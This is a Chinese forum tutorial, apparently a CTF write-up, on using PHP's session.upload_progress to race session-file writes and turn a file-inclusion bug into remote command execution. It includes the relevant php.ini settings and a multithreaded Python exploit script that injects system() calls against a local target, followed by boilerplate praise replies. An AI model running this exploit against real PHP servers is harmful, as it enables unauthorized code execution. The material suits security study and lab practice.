搜索

查看: 3093|回复: 11

[PHP] 使用session upload_progress实现文件包含实例详解

[复制链接]
发表于 2023-5-4 17:05:27 | 显示全部楼层 |阅读模式
Editor 2023-5-4 17:05:27 3093 11 看全部
目录
  • 前言
  • 基础知识
  • session.upload_progress
  • 攻击方法
  • 例题
  • 结语
    前言
    该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争从而达到上传文件进行文件包含或者命令执行的目的,可能大部分人会不理解,我们下面我们展开来讲。

    基础知识
    session.upload_progress
    首先我们要先学习什么是session.upload_progress,可以简单理解为文件上传进度,在php官方文档里可以找到描述:

    20221209084242039.png

    20221209084242039.png


    在这里面有几个很重要的函数,我们简单看一下:
    session.upload_progress.enabled = on
    session.upload_progress.cleanup = on
    session.upload_progress.prefix = "upload_progress_"
    session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    第一个显而易见是设定是否开启该功能,第二个cleanup则是是否在上传后删除文件,第三个为设置前缀,第四个为session中的键值,那么他们有什么用呢?我们就可以在phpinfo里查看这些信息是否开启以此来判断能不能利用该漏洞。

    攻击方法
    我们攻击思路就是利用session.upload_progress来将木马写入到session里面,但这里有两个问题:
    问题一:代码里没有session_start,我们如何创建session文件呢?
    首先我们先看看session里面有一个很重要的选项:
    session.use_strict_mode //默认值为off。
    我们可以自己定义sessionid,假如我们定义sessionid为xino,则PHP将会在服务器上创建一个文件:/tmp/sess_xino”。即使我们没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由:
    ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成

    最后被写入sess_文件里。
    问题二:上面的cleanup设置会删除数据,我们要如何防止数据被删除呢?
    所以这里需要我们文件竞争不断发包直至上传成功,之后再读取session文件所在路径即可。类似于下图,可以搭配burpsuite使用:

    20221209084242040.png

    20221209084242040.png


    之后我们即可进行文件包含或者RCE攻击,总结一下该漏洞的利用条件:
    存在文件包含漏洞
    知道session文件存放路径,可以尝试默认路径
    具有读取和写入session文件的权限
    下面给大家带来一个例题。

    例题
    进入题目首先看看题目源码

    20221209084242041.png

    20221209084242041.png


    限制了我们很多东西,只能使用没有后缀的文件进行文件包含所以想到通过session.upload_progress来进行文件包含,因为我们需要上传一个东西,所以我们先写一个简单的文件上传点:


       
       
       


    之后我们进行发包抓包然后重放,查看回显成功后我们访问/tmp/sess_flag,发现命令执行了:

    20221209084242042.png

    20221209084242042.png


    我们将之前发包文件里面的ls命令改为cat flag的文件名即可进行命令执行,也是抓包重放查看返回长度不一样的包:

    20221209084242043.png

    20221209084242043.png


    如果不喜欢手动我这里从网上找了一个自动化脚本,大家也可以尝试一下:
    import io
    import requests
    import threading
    sessid = 'FLAG'
    data = {"cmd":"system('ls');"}
    def write(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
    def read(session):
        while True:
            resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
            if '1.txt' in resp.text:
                print(resp.text)
                event.clear()
            else:
                print("[+++++++++++++]retry")
    if __name__=="__main__":
        event=threading.Event()
        with requests.session() as session:
            for i in range(1,30):
                threading.Thread(target=write,args=(session,)).start()
            for i in range(1,30):
                threading.Thread(target=read,args=(session,)).start()
        event.set()

    结语
    今天给大家带来的是session.upload_progress文件包含漏洞,因为需要一些网络安全基础可能部分读者不太明白,这里有兴趣的小伙伴可以自己去了解一下找个现成的靶机去尝试一下,更多关于session upload_progress文件包含的资料请关注知鸟论坛其它相关文章!
  • 回复

    使用道具 举报

    发表于 2023-6-29 13:41:46 | 显示全部楼层
    心随674 2023-6-29 13:41:46 看全部
    我看不错噢 谢谢楼主!知鸟论坛越来越好!
    回复

    使用道具 举报

    发表于 2023-6-29 17:22:38 | 显示全部楼层
    xinting_6ym 2023-6-29 17:22:38 看全部
    这个帖子不回对不起自己!我想我是一天也不能离开知鸟论坛
    回复

    使用道具 举报

    发表于 2023-6-29 20:32:25 | 显示全部楼层
    啤酒瓶空了缓 2023-6-29 20:32:25 看全部
    楼主发贴辛苦了,谢谢楼主分享!我觉得知鸟论坛是注册对了!
    回复

    使用道具 举报

    发表于 2023-6-29 20:52:09 | 显示全部楼层
    123456865 2023-6-29 20:52:09 看全部
    楼主太厉害了!楼主,I*老*虎*U!我觉得知鸟论坛真是个好地方!
    回复

    使用道具 举报

    发表于 2023-6-29 21:39:34 | 显示全部楼层
    123456868 2023-6-29 21:39:34 看全部
    楼主,大恩不言谢了!知鸟论坛是最棒的!
    回复

    使用道具 举报

    发表于 2023-6-29 23:53:29 | 显示全部楼层
    向往草原403 2023-6-29 23:53:29 看全部
    楼主发贴辛苦了,谢谢楼主分享!我觉得知鸟论坛是注册对了!
    回复

    使用道具 举报

    发表于 2023-6-30 02:37:22 | 显示全部楼层
    六翼天使494 2023-6-30 02:37:22 看全部
    论坛不能没有像楼主这样的人才啊!我会一直支持知鸟论坛
    回复

    使用道具 举报

    发表于 2023-7-3 20:51:36 | 显示全部楼层
    掌舵的鱼1987 2023-7-3 20:51:36 看全部
    论坛不能没有像楼主这样的人才啊!我会一直支持知鸟论坛
    回复

    使用道具 举报

    发表于 2023-7-3 21:59:24 | 显示全部楼层
    麻辣鸡翅 2023-7-3 21:59:24 看全部
    楼主太厉害了!楼主,I*老*虎*U!我觉得知鸟论坛真是个好地方!
    回复

    使用道具 举报

    • 您可能感兴趣
    点击右侧快捷回复 【请勿灌水】
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则 返回列表

    RSS订阅| SiteMap| 小黑屋| 知鸟论坛
    联系邮箱E-mail:zniao@foxmail.com
    快速回复 返回顶部 返回列表